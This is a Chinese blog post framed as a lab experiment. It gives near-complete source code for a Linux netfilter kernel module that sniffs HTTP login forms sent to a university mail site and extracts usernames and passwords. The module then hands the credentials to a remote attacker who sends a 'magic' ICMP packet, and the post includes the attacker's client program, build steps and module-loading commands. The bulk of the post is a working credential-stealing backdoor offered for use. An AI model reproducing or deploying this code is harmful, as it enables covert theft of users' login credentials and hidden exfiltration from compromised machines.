memcpy函数实现_netfilter实现对http协议网站用户名与密码的窃取

fd90a3c9c2f6bf21464b96fe35ce09ec.png

实验目的:

基于netfilter,实现对使用HTTP协议的网站的用户名和密码的窃取。

实验过程:

1. 对网址http://mail.ustc.edu.cn进行实验,在输入账号密码时开启wireshark抓包,可以得到以下包内容:

6bb5c8bbfdcf1591657cdccb3470ed54.png

其中,uid为 cjccjc,password为 aaa123,分别是用户输入的账号和密码。

2. 被攻击者主要代码nfsniff.c

1) makefile文件

obj-m += nfsniff.o

all:

make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:

make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

2) 模块的初始化和退出清理

init_module注册两个netfilter挂钩,第一个用于监视传入流量(在NF_IP_PRE_ROUTING上)以尝试查找“神奇”ICMP数据包。下一个用于监视安装模块的离开机器的流量(在NF_IP_POST_ROUTING上)。cleanup_module()过程只是取消注册这两个钩子。

int init_module(void) {

pre_hook.hook = watch_in;

pre_hook.pf = PF_INET;

pre_hook.hooknum = NF_INET_PRE_ROUTING;

pre_hook.priority = NF_IP_PRI_FIRST;

nf_register_net_hook(&init_net, &pre_hook);

//第一个挂钩

post_hook.hook = watch_out;

post_hook.pf = PF_INET;

post_hook.hooknum = NF_INET_POST_ROUTING;

post_hook.priority = NF_IP_PRI_FIRST;

nf_register_net_hook(&init_net, &post_hook);

//第二个挂钩

printk("init_modulen");

return 0;

}

void cleanup_module(void)

{

nf_unregister_net_hook(&init_net, &pre_hook);

nf_unregister_net_hook(&init_net, &post_hook);

printk("cleanup_modulen");

}

3) 对包进行过滤操作,找出发送给ustcmail的TCP数据包。

static unsigned int findpkt(struct sk_buff *skb) {

struct iphdr *ip = NULL; struct tcphdr *tcp = NULL; char *data = NULL;

int tcp_payload_len = 0;

ip = (struct iphdr *)skb_network_header(skb);

if (ip->daddr != IP_202_38_64_8 || ip->protocol != IPPROTO_TCP)

return -1;

tcp = (struct tcphdr *)skb_transport_header(skb);

tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2); data = (char *)((char *)tcp + (tcp->doff<<2));

if (tcp->dest != htons(80) || tcp_payload_len < post_uri_len || strncmp(data, post_uri, post_uri_len) != 0)

{

return -1;

}

printk("--------------- findpkt ------------------n");

printk("ip_hdrlen:%dn", (ip->ihl<<2));

printk("tcp_hdrlen: %dn", (tcp->doff<<2));

printk("ip_total_len: %dn", ntohs(ip->tot_len));

printk("tcp_payload_len:%dn", tcp_payload_len);

printk("ip_addr: 0x%pn", ip);

printk("tcp_addr: 0x%pn", tcp);

printk("tcp_data_addr:0x%pn", data);

printk("hex : data[0-3] = 0x%02x%02x%02x%02xn", data[0], data[1], data[2], data[3]);

printk("char: data[0-3] = %c%c%c%cn", data[0], data[1], data[2], data[3]);

printk("--------------- findpkt ------------------n");

return 1;

}

4) watch_in函数

watch_in用于检查每个数据包来查看它是否是攻击者发来的请求魔术数据包,如果抓到魔术数据包的话就把找到的的账户密码等信息进行发送,返回NF_STOLEN告诉Netfilter忘记它曾经看到过这个数据包(Jedi Mind Trick的位)。

static unsigned int watch_in(void *priv,struct sk_buff *skb,const struct nf_hook_state *state)

{

struct iphdr *ip = NULL;

struct icmphdr *icmp = NULL;

int icmp_payload_len = 0;

char *cp_data = NULL; // copy pointer

unsigned int temp_ipaddr; // temporary ip holder for swap ip (saddr <-> daddr)

ip = (struct iphdr *)skb_network_header(skb);

//过滤掉非目标数据包

if (username == NULL || password == NULL|| ip->protocol != IPPROTO_ICMP)

return NF_ACCEPT;

icmp = (struct icmphdr *)((char *)ip + (ip->ihl<<2));

// 最后 8 字节为 ICMP 首部长度

icmp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - 8;

if (icmp->code != MAGIC_CODE|| icmp->type != ICMP_ECHO || icmp_payload_len < REPLY_SIZE)

{

return NF_ACCEPT;

}

//往回发送数据包

temp_ipaddr = ip->saddr;

ip->saddr = ip->daddr;

ip->daddr = temp_ipaddr;

skb->pkt_type = PACKET_OUTGOING;

switch (skb->dev->type) {

case ARPHRD_PPP: break;

case ARPHRD_LOOPBACK:

case ARPHRD_ETHER:

{

unsigned char temp_hwaddr[ETH_ALEN];

struct ethhdr *eth = NULL;

// Move the data pointer to point to the link layer header

eth = (struct ethhdr *)eth_hdr(skb);

skb->data = (unsigned char*)eth;

skb->len += ETH_HLEN; // 14, sizeof(skb->mac.ethernet); memcpy(temp_hwaddr, eth->h_dest, ETH_ALEN);

memcpy(eth->h_dest, eth->h_source, ETH_ALEN);

memcpy(eth->h_source, temp_hwaddr, ETH_ALEN); break;

}

}

// copy target_ip, username, password into packet

cp_data = (char *)icmp + 8;

memcpy(cp_data, &target_ip, 4);

memcpy(cp_data+4, username, 16);

memcpy(cp_data+20, password, 16);

printk("watch_in STOLEN ====> SUCCESSn");

printk("urlencode(username): %sn", username);

printk("urlencode(password): %sn", password);

dev_queue_xmit(skb); // 发送数据

kfree(username);

kfree(password);

username = password = NULL;

return NF_STOLEN;

}

5) watch_out函数

用来监听本机发出去的数据包。获取到目标数据包后,调用fetch_http()函数进行提取。

static unsigned int watch_out(void *priv, struct sk_buff *skb,const struct nf_hook_state *state)

{

if (findpkt(skb) == -1)

return NF_ACCEPT;

if (username == NULL || password == NULL)

check_http(skb);

return NF_ACCEPT;

}

6) check_http()函数

从wireshark提取数据包时可以看到,username和password出现在HTML from URL Encode层。从发出去的数据包中查找Content-Length,调用getUrlparam函数进行账户和密码的获取。

static void check_http(struct sk_buff *skb) {

struct iphdr *ip = NULL;

struct tcphdr *tcp = NULL;

char *data = NULL; // tcp data

int tcp_payload_len = 0;

int i = 0, index = -1;

int content_len = 0; // Cotent-Length

ip = (struct iphdr *)skb_network_header(skb);

tcp = (struct tcphdr *)skb_transport_header(skb);

tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2);

data = (char *)tcp + (tcp->doff<<2);

index = kmp(data, tcp_payload_len, "Content-Length: ", 16);

if (index == -1)

return;

data += (index + 16); // data point to: 77rn

for (i = 0; data[i] != 'r'; i++)

content_len = content_len*10 + ((int)data[i]-'0'); // now content_len = 77

// data point to layer: HTML Form URL Encode

data = (char *)tcp + (tcp->doff<<2) + (tcp_payload_len-content_len);

username = getUrlparam(data, content_len, "uid=", 4);

password = getUrlparam(data, content_len, "password=", 9);

if (username == NULL || password == NULL)

return;

printk("content_len = %dn", content_len);

printk("urlencode(username): %sn", username);

printk("urlencode(password): %sn", password);

}

7) getUrlparam()函数

利用kmp算法进行匹配,查找到类似于“uid=” “password=”的字段,并获取确切的数据值value。

char * getUrlparam(char *urlparam, int ulen, char *key, int klen) {

int index = 0, i = 0;

char *value = NULL;

if ((index = kmp(urlparam, ulen, key, klen)) == -1)

return NULL;

urlparam += (index + klen);

ulen -= (index + klen);

// username, password 中本身就可能含有类似'&'这样需要进行编码的字

//符,urlencode('&') = %26

for (i = 0; i < ulen && urlparam[i] != '&'; i++);

if (i >= ulen)

return NULL;

// i + 1, for the last char '0'

if ((value = (char *)kmalloc(sizeof(char)*(i+1), GFP_KERNEL)) == NULL)

return NULL;

memcpy(value, urlparam, i);

value[i] = '0';

return value;

}


3. 攻击者主要代码getpass.c

1) 主函数

攻击者发送ICMP报告给被攻击者,当被攻击者收到该报告时,就会将账号和密码发送回来。

int main(int argc, char **argv)

{

if (load_args(argc, argv) < 0)

{

printf("command format error!n");

printf("example:getpass 192.168.1.1n");

return -1;

}

recvsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

sendsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

if (recvsockfd < 0 || sendsockfd < 0) {

perror("socket creation error");

return -1;

}

// 1) 发送 ICMP ECHO 回送请求报文

send_icmp_request();

// 2) 接收 ICMP ECHO 回送回答报文

recv_icmp_reply();

close(sendsockfd);

close(recvsockfd);

return 0;

}

2) send_icmp_request()函数

用于发送魔术数据包,发送一个CODE为MAGIC_CODE的icmp数据包给受害者。

int send_icmp_request() {

bzero(sendbuff, BUFF_SIZE);

// 构造 ICMP ECHO 首部

struct icmp *icmp = (struct icmp *)sendbuff;

icmp->icmp_type = ICMP_ECHO; // ICMP_ECHO 8

icmp->icmp_code = MAGIC_CODE;

icmp->icmp_cksum = 0;

// 计算 ICMP 校验和,涉及首部和数据部分,包括:8B(ICMP ECHO 首部) + 36B(4B(target_ip)+16B(username)+16B(password))

icmp->icmp_cksum = cksum((unsigned short *)icmp, 8 + 36);

printf("sending request........n");

int ret = sendto(sendsockfd, sendbuff, 44, 0, (struct sockaddr *)&remoteip, sizeof(remoteip));

if (ret < 0) {

perror("send error");

}

else {

printf("send a icmp echo request packet!nn");

}

return 1;

}

3) recv_icmp_reply()函数

用于获取受害者机器发来的icmp回复,并从中获取username和password进行输出。

int recv_icmp_reply() {

bzero(recvbuff, BUFF_SIZE);

printf("waiting for reply......n");

if (recv(recvsockfd, recvbuff, BUFF_SIZE, 0) < 0) {

printf("failed getting reply packetn");

return -1;

}

struct icmphdr *icmp = (struct icmphdr *)(recvbuff + 20); memcpy(&server_addr, (char *)icmp+8, 4);

// 打印 IP 包字节数据,便于调试

print_ippacket_inbyte(recvbuff);

printf("stolen from http server: %sn", inet_ntoa(server_addr));

printf("username: %sn", (char *)((char *)icmp + 12));

printf("password: %sn", (char *)((char *)icmp + 28));

return 1;

}


4. 攻击过程

1) 确保受害者主机上装载nfsniff模块。

执行:sudo make

sudo insmod nfsniff.ko

tail -f /var/log/syslog

2) 登录http://mail.ustc.edu.cn输入账号密码,点击sign in。

7e0f2cab9227974d894d409ceefd781d.png

3) 在受害者主机点击了sign in发出数据包后,攻击者运行getpass代码,就可以获取到账号和密码。

cb09c1e33078e2e851d703ff0e464877.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值